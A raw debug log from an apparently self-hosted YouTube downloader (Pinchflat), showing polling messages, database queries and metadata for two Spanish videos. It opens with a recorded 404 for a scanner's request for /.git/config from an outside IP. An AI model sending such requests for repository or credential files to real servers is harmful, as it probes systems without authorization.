{Plug.Cowboy.Conn, %{ pid: #PID<0.2750.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "141.145.209.211", peer: {{172, 22, 0, 1}, 58748}, bindings: %{}, sock: {{172, 22, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "connection" => "upgrade", "host" => "141.145.209.211", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36", "x-forwarded-for" => "134.199.168.121", "x-forwarded-proto" => "https", "x-real-ip" => "134.199.168.121" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.2750.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "141.145.209.211", peer: {{172, 22, 0, 1}, 58748}, bindings: %{}, sock: {{172, 22, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "connection" => "upgrade", "host" => "141.145.209.211", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36", "x-forwarded-for" => "134.199.168.121", "x-forwarded-proto" => "https", "x-real-ip" => "134.199.168.121" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "141.145.209.211", method: "GET", owner: #PID<0.2751.0>, params: %{}, path_info: [".git", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://141.145.209.211", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 22, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"connection", "upgrade"}, {"host", "141.145.209.211"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36"}, {"x-forwarded-for", "134.199.168.121"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "134.199.168.121"} ], request_path: "/.git/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJIS6tCYcOORIRUAABPh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil (truncated) 22:06:43.363 [debug] Current batch of media processed. Will check again in 1000ms 22:06:43.390 [debug] Current batch of media processed. Will check again in 1000ms 22:06:44.364 [debug] Current batch of media processed. Will check again in 1000ms 22:06:44.391 [debug] Current batch of media processed. Will check again in 1000ms 22:06:45.365 [debug] Current batch of media processed. Will check again in 1000ms 22:06:45.392 [debug] Current batch of media processed. Will check again in 1000ms 22:06:46.366 [debug] Current batch of media processed. Will check again in 1000ms 22:06:46.393 [debug] Current batch of media processed. Will check again in 1000ms 22:06:47.367 [debug] Current batch of media processed. Will check again in 1000ms 22:06:47.394 [debug] Current batch of media processed. Will check again in 1000ms 22:06:48.368 [debug] Current batch of media processed. Will check again in 1000ms 22:06:48.395 [debug] Current batch of media processed. Will check again in 1000ms 22:06:49.369 [debug] Current batch of media processed. Will check again in 1000ms 22:06:49.396 [debug] Current batch of media processed. Will check again in 1000ms 22:06:50.370 [debug] Current batch of media processed. Will check again in 1000ms 22:06:50.397 [debug] Current batch of media processed. Will check again in 1000ms 22:06:51.123 [info] {"source":"oban","duration":1086,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:06:51.371 [debug] Current batch of media processed. Will check again in 1000ms 22:06:51.398 [debug] Current batch of media processed. Will check again in 1000ms 22:06:52.372 [debug] Current batch of media processed. Will check again in 1000ms 22:06:52.399 [debug] Current batch of media processed. Will check again in 1000ms 22:06:53.373 [debug] Current batch of media processed. Will check again in 1000ms 22:06:53.400 [debug] Current batch of media processed. Will check again in 1000ms 22:06:54.374 [debug] Current batch of media processed. Will check again in 1000ms 22:06:54.401 [debug] Current batch of media processed. Will check again in 1000ms 22:06:55.375 [debug] Current batch of media processed. Will check again in 1000ms 22:06:55.402 [debug] Current batch of media processed. Will check again in 1000ms 22:06:56.376 [debug] Current batch of media processed. Will check again in 1000ms 22:06:56.403 [debug] Current batch of media processed. Will check again in 1000ms 22:06:57.377 [debug] Current batch of media processed. Will check again in 1000ms 22:06:57.404 [debug] Current batch of media processed. Will check again in 1000ms 22:06:58.378 [debug] Current batch of media processed. Will check again in 1000ms 22:06:58.405 [debug] Current batch of media processed. Will check again in 1000ms 22:06:59.379 [debug] Current batch of media processed. Will check again in 1000ms 22:06:59.406 [debug] Current batch of media processed. Will check again in 1000ms 22:07:00.083 [info] {"source":"oban","duration":387,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:07:00.380 [debug] Current batch of media processed. Will check again in 1000ms 22:07:00.407 [debug] Current batch of media processed. Will check again in 1000ms 22:07:01.381 [debug] Current batch of media processed. Will check again in 1000ms 22:07:01.408 [debug] Current batch of media processed. Will check again in 1000ms 22:07:02.382 [debug] Current batch of media processed. Will check again in 1000ms 22:07:02.409 [debug] Current batch of media processed. Will check again in 1000ms 22:07:03.383 [debug] Current batch of media processed. Will check again in 1000ms 22:07:03.410 [debug] Current batch of media processed. Will check again in 1000ms 22:07:04.384 [debug] Current batch of media processed. Will check again in 1000ms 22:07:04.411 [debug] Current batch of media processed. Will check again in 1000ms 22:07:05.385 [debug] Current batch of media processed. Will check again in 1000ms 22:07:05.412 [debug] Current batch of media processed. Will check again in 1000ms 22:07:06.386 [debug] Current batch of media processed. Will check again in 1000ms 22:07:06.413 [debug] Current batch of media processed. Will check again in 1000ms 22:07:07.387 [debug] Current batch of media processed. Will check again in 1000ms 22:07:07.414 [debug] Current batch of media processed. Will check again in 1000ms 22:07:08.388 [debug] Current batch of media processed. Will check again in 1000ms 22:07:08.415 [debug] Current batch of media processed. Will check again in 1000ms 22:07:09.389 [debug] Current batch of media processed. Will check again in 1000ms 22:07:09.416 [debug] Current batch of media processed. Will check again in 1000ms 22:07:10.390 [debug] Current batch of media processed. Will check again in 1000ms 22:07:10.417 [debug] Current batch of media processed. Will check again in 1000ms 22:07:11.391 [debug] Current batch of media processed. Will check again in 1000ms 22:07:11.418 [debug] Current batch of media processed. Will check again in 1000ms 22:07:12.392 [debug] Current batch of media processed. Will check again in 1000ms 22:07:12.419 [debug] Current batch of media processed. Will check again in 1000ms 22:07:13.393 [debug] Current batch of media processed. Will check again in 1000ms 22:07:13.420 [debug] Current batch of media processed. Will check again in 1000ms 22:07:14.394 [debug] Current batch of media processed. Will check again in 1000ms 22:07:14.421 [debug] Current batch of media processed. Will check again in 1000ms 22:07:15.395 [debug] Current batch of media processed. Will check again in 1000ms 22:07:15.422 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "🔋 BLUETTI AC50B – Compacta, potente y siempre lista para acompañarte\nLa estación de energía portátil ideal para escapadas de fin de semana, camping o como respaldo básico en casa.\n\n🌟 Características principales:\n\n⚡ Potencia nominal de 300W (pico de 450W)\n\n🔋 Capacidad de 500Wh, perfecta para cargar teléfonos, cámaras, luces, drones, mini neveras, etc.\n\n☀️ Entrada solar hasta 120W, compatible con paneles solares BLUETTI\n\n🔌 Múltiples salidas: AC, USB-A, USB-C, DC, carga inalámbrica\n\n🧳 Diseño compacto y ligero: solo 6.2 kg, ideal para llevar a todas partes\n\n🔇 Funcionamiento silencioso y sin emisiones\n\n🎁 ¡Consigue la tuya con descuento exclusivo!\n👉 Producto disponible aquí: https://bit.ly/4dWwJ3K \n💸 :Códigos de descuento exclusivos:ea3grnbluetti \n\n#BLUETTI #AC50B #EnergíaPortátil #VidaOffGrid #Camping\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "duration" => 2187, "filename" => "/downloads/music/ea3grn/164 - PROBANDO BLUETTI AC50B POWER STATION.m4a", "id" => "VTaYgvNJcnY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=VTaYgvNJcnY", "playlist_index" => 16, "timestamp" => 1750352443, "title" => "164 - PROBANDO BLUETTI AC50B POWER STATION", "upload_date" => "20250619"} 22:07:15.423 [debug] QUERY OK source="sources" db=0.6ms idle=1688.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 22:07:15.424 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1176.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:07:15.425 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=689.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-19 17:00:43Z], 3] 22:07:15.427 [debug] QUERY OK source="media_items" db=1.2ms idle=691.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["🔋 BLUETTI AC50B – Compacta, potente y siempre lista para acompañarte\nLa estación de energía portátil ideal para escapadas de fin de semana, camping o como respaldo básico en casa.\n\n🌟 Características principales:\n\n⚡ Potencia nominal de 300W (pico de 450W)\n\n🔋 Capacidad de 500Wh, perfecta para cargar teléfonos, cámaras, luces, drones, mini neveras, etc.\n\n☀️ Entrada solar hasta 120W, compatible con paneles solares BLUETTI\n\n🔌 Múltiples salidas: AC, USB-A, USB-C, DC, carga inalámbrica\n\n🧳 Diseño compacto y ligero: solo 6.2 kg, ideal para llevar a todas partes\n\n🔇 Funcionamiento silencioso y sin emisiones\n\n🎁 ¡Consigue la tuya con descuento exclusivo!\n👉 Producto disponible aquí: https://bit.ly/4dWwJ3K \n💸 :Códigos de descuento exclusivos:ea3grnbluetti \n\n#BLUETTI #AC50B #EnergíaPortátil #VidaOffGrid #Camping\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "164 - PROBANDO BLUETTI AC50B POWER STATION", "72b9b3ab-946b-407e-9e63-1a58f13c0161", 2187, false, "VTaYgvNJcnY", "https://www.youtube.com/watch?v=VTaYgvNJcnY", 16, "/downloads/music/ea3grn/164 - PROBANDO BLUETTI AC50B POWER STATION.m4a", false, false, false, 3, [], 98, ~U[2025-06-19 17:00:43Z], ~U[2026-02-07 21:07:15Z], ~U[2026-02-07 21:07:15Z], "🔋 BLUETTI AC50B – Compacta, potente y siempre lista para acompañarte\nLa estación de energía portátil ideal para escapadas de fin de semana, camping o como respaldo básico en casa.\n\n🌟 Características principales:\n\n⚡ Potencia nominal de 300W (pico de 450W)\n\n🔋 Capacidad de 500Wh, perfecta para cargar teléfonos, cámaras, luces, drones, mini neveras, etc.\n\n☀️ Entrada solar hasta 120W, compatible con paneles solares BLUETTI\n\n🔌 Múltiples salidas: AC, USB-A, USB-C, DC, carga inalámbrica\n\n🧳 Diseño compacto y ligero: solo 6.2 kg, ideal para llevar a todas partes\n\n🔇 Funcionamiento silencioso y sin emisiones\n\n🎁 ¡Consigue la tuya con descuento exclusivo!\n👉 Producto disponible aquí: https://bit.ly/4dWwJ3K \n💸 :Códigos de descuento exclusivos:ea3grnbluetti \n\n#BLUETTI #AC50B #EnergíaPortátil #VidaOffGrid #Camping\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "164 - PROBANDO BLUETTI AC50B POWER STATION", 2187, false, "VTaYgvNJcnY", "https://www.youtube.com/watch?v=VTaYgvNJcnY", "/downloads/music/ea3grn/164 - PROBANDO BLUETTI AC50B POWER STATION.m4a", false, 3, ~U[2025-06-19 17:00:43Z]] 22:07:15.427 [debug] QUERY OK source="sources" db=0.5ms idle=178.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:07:15.428 [debug] QUERY OK source="media_profiles" db=0.4ms idle=4.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:07:15.429 [debug] QUERY OK source="media_items" db=0.4ms idle=4.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1316] 22:07:15.429 [debug] Current batch of media processed. Will check again in 1000ms 22:07:16.396 [debug] Current batch of media processed. Will check again in 1000ms 22:07:16.430 [debug] Current batch of media processed. Will check again in 1000ms 22:07:17.397 [debug] Current batch of media processed. Will check again in 1000ms 22:07:17.431 [debug] Current batch of media processed. Will check again in 1000ms 22:07:18.398 [debug] Current batch of media processed. Will check again in 1000ms 22:07:18.432 [debug] Current batch of media processed. Will check again in 1000ms 22:07:19.399 [debug] Current batch of media processed. Will check again in 1000ms 22:07:19.433 [debug] Current batch of media processed. Will check again in 1000ms 22:07:20.400 [debug] Current batch of media processed. Will check again in 1000ms 22:07:20.434 [debug] Current batch of media processed. Will check again in 1000ms 22:07:21.125 [info] {"source":"oban","duration":1103,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:07:21.401 [debug] Current batch of media processed. Will check again in 1000ms 22:07:21.435 [debug] Current batch of media processed. Will check again in 1000ms 22:07:22.402 [debug] Current batch of media processed. Will check again in 1000ms 22:07:22.436 [debug] Current batch of media processed. Will check again in 1000ms 22:07:23.403 [debug] Current batch of media processed. Will check again in 1000ms 22:07:23.437 [debug] Current batch of media processed. Will check again in 1000ms 22:07:24.404 [debug] Current batch of media processed. Will check again in 1000ms 22:07:24.438 [debug] Current batch of media processed. Will check again in 1000ms 22:07:25.405 [debug] Current batch of media processed. Will check again in 1000ms 22:07:25.439 [debug] Current batch of media processed. Will check again in 1000ms 22:07:26.406 [debug] Current batch of media processed. Will check again in 1000ms 22:07:26.440 [debug] Current batch of media processed. Will check again in 1000ms 22:07:27.407 [debug] Current batch of media processed. Will check again in 1000ms 22:07:27.441 [debug] Current batch of media processed. Will check again in 1000ms 22:07:28.408 [debug] Current batch of media processed. Will check again in 1000ms 22:07:28.442 [debug] Current batch of media processed. Will check again in 1000ms 22:07:29.409 [debug] Current batch of media processed. Will check again in 1000ms 22:07:29.443 [debug] Current batch of media processed. Will check again in 1000ms 22:07:30.410 [debug] Current batch of media processed. Will check again in 1000ms 22:07:30.444 [debug] Current batch of media processed. Will check again in 1000ms 22:07:31.411 [debug] Current batch of media processed. Will check again in 1000ms 22:07:31.445 [debug] Current batch of media processed. Will check again in 1000ms 22:07:32.412 [debug] Current batch of media processed. Will check again in 1000ms 22:07:32.446 [debug] Current batch of media processed. Will check again in 1000ms 22:07:33.413 [debug] Current batch of media processed. Will check again in 1000ms 22:07:33.447 [debug] Current batch of media processed. Will check again in 1000ms 22:07:34.414 [debug] Current batch of media processed. Will check again in 1000ms 22:07:34.448 [debug] Current batch of media processed. Will check again in 1000ms 22:07:35.415 [debug] Current batch of media processed. Will check again in 1000ms 22:07:35.449 [debug] Current batch of media processed. Will check again in 1000ms 22:07:36.416 [debug] Current batch of media processed. Will check again in 1000ms 22:07:36.450 [debug] Current batch of media processed. Will check again in 1000ms 22:07:37.417 [debug] Current batch of media processed. Will check again in 1000ms 22:07:37.451 [debug] Current batch of media processed. Will check again in 1000ms 22:07:38.418 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "#IAMIQUE 👉🏼 Ep3️⃣4️⃣: Perplexity Pro ☄️\n\nPerplexity me a ha dejado perplejo !!!! mi amigo David García Martínez me llamara Boomer .. por semejante frase!!!\n\nBueno al turron en el video de hoy os contamos cosas de perplexity que son tremendamente faciles de usar y que a la vez son super utiles. En 10 minutos tienes un montón de cosas chulas listas y funcionando.\n\nEste video tendrá una continuación temprana... por que Perplexity viene con navegador con agente incorporado que es una autentica burrada, pero como todavía lo estamos probando os contamos en breve.\n\nRecordad si podéis el post del 1er comentario en el que os explicábamos como conseguir la cuenta Perplexity Pro gratis durante un año (240 pavazos de ahorro... tu mismo)...\n\ny por fa 🙏 (si quieres ayudarnos) :\n\n👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo\n\n\n✅🗃️Y dale a guardar para ver el video mas tarde si ahora no tienes tiempo, lo puedes hacer desde los tres puntos de la esquina superior derecha ▫️▫️▫️\n\n#IAMIQUE #origen #IAGen #GenAI #Perplexity\n\nSigue a nuestras compañías también: \n👉🏼 ORIGEN CORPORACIÓN BIOTECH\n👉🏼 lifely by Origen Genetics", "duration" => 675, "filename" => "/downloads/music/IA mí QUÉ/EP.34: Perplexity PRO.m4a", "id" => "-qQzp7Ddz4c", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=-qQzp7Ddz4c", "playlist_index" => 16, "timestamp" => 1761903722, "title" => "EP.34: Perplexity PRO", "upload_date" => "20251031"} 22:07:38.419 [debug] QUERY OK source="sources" db=0.6ms idle=1681.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 22:07:38.420 [debug] QUERY OK source="sources" db=0.4ms idle=1682.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:07:38.421 [debug] QUERY OK source="media_items" db=0.7ms idle=1682.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-31 09:42:02Z], 2] 22:07:38.423 [debug] QUERY OK source="media_items" db=1.1ms idle=1132.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["#IAMIQUE 👉🏼 Ep3️⃣4️⃣: Perplexity Pro ☄️\n\nPerplexity me a ha dejado perplejo !!!! mi amigo David García Martínez me llamara Boomer .. por semejante frase!!!\n\nBueno al turron en el video de hoy os contamos cosas de perplexity que son tremendamente faciles de usar y que a la vez son super utiles. En 10 minutos tienes un montón de cosas chulas listas y funcionando.\n\nEste video tendrá una continuación temprana... por que Perplexity viene con navegador con agente incorporado que es una autentica burrada, pero como todavía lo estamos probando os contamos en breve.\n\nRecordad si podéis el post del 1er comentario en el que os explicábamos como conseguir la cuenta Perplexity Pro gratis durante un año (240 pavazos de ahorro... tu mismo)...\n\ny por fa 🙏 (si quieres ayudarnos) :\n\n👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo\n\n\n✅🗃️Y dale a guardar para ver el video mas tarde si ahora no tienes tiempo, lo puedes hacer desde los tres puntos de la esquina superior derecha ▫️▫️▫️\n\n#IAMIQUE #origen #IAGen #GenAI #Perplexity\n\nSigue a nuestras compañías también: \n👉🏼 ORIGEN CORPORACIÓN BIOTECH\n👉🏼 lifely by Origen Genetics", "EP.34: Perplexity PRO", "be72d4cb-6a13-4831-8538-939419cca4a0", 675, false, "-qQzp7Ddz4c", "https://www.youtube.com/watch?v=-qQzp7Ddz4c", 16, "/downloads/music/IA mí QUÉ/EP.34: Perplexity PRO.m4a", false, false, false, 2, [], 96, ~U[2025-10-31 09:42:02Z], ~U[2026-02-07 21:07:38Z], ~U[2026-02-07 21:07:38Z], "#IAMIQUE 👉🏼 Ep3️⃣4️⃣: Perplexity Pro ☄️\n\nPerplexity me a ha dejado perplejo !!!! mi amigo David García Martínez me llamara Boomer .. por semejante frase!!!\n\nBueno al turron en el video de hoy os contamos cosas de perplexity que son tremendamente faciles de usar y que a la vez son super utiles. En 10 minutos tienes un montón de cosas chulas listas y funcionando.\n\nEste video tendrá una continuación temprana... por que Perplexity viene con navegador con agente incorporado que es una autentica burrada, pero como todavía lo estamos probando os contamos en breve.\n\nRecordad si podéis el post del 1er comentario en el que os explicábamos como conseguir la cuenta Perplexity Pro gratis durante un año (240 pavazos de ahorro... tu mismo)...\n\ny por fa 🙏 (si quieres ayudarnos) :\n\n👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo\n\n\n✅🗃️Y dale a guardar para ver el video mas tarde si ahora no tienes tiempo, lo puedes hacer desde los tres puntos de la esquina superior derecha ▫️▫️▫️\n\n#IAMIQUE #origen #IAGen #GenAI #Perplexity\n\nSigue a nuestras compañías también: \n👉🏼 ORIGEN CORPORACIÓN BIOTECH\n👉🏼 lifely by Origen Genetics", "EP.34: Perplexity PRO", 675, false, "-qQzp7Ddz4c", "https://www.youtube.com/watch?v=-qQzp7Ddz4c", "/downloads/music/IA mí QUÉ/EP.34: Perplexity PRO.m4a", false, 2, ~U[2025-10-31 09:42:02Z]] 22:07:38.423 [debug] QUERY OK source="sources" db=0.6ms idle=132.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:07:38.424 [debug] QUERY OK source="media_profiles" db=0.5ms idle=4.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:07:38.425 [debug] QUERY OK source="media_items" db=0.5ms idle=4.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1268] 22:07:38.425 [debug] Current batch of media processed. Will check again in 1000ms 22:07:38.452 [debug] Current batch of media processed. Will check again in 1000ms 22:07:39.425 [debug] Current batch of media processed. Will check again in 1000ms 22:07:39.453 [debug] Current batch of media processed. Will check again in 1000ms 22:07:40.426 [debug] Current batch of media processed. Will check again in 1000ms 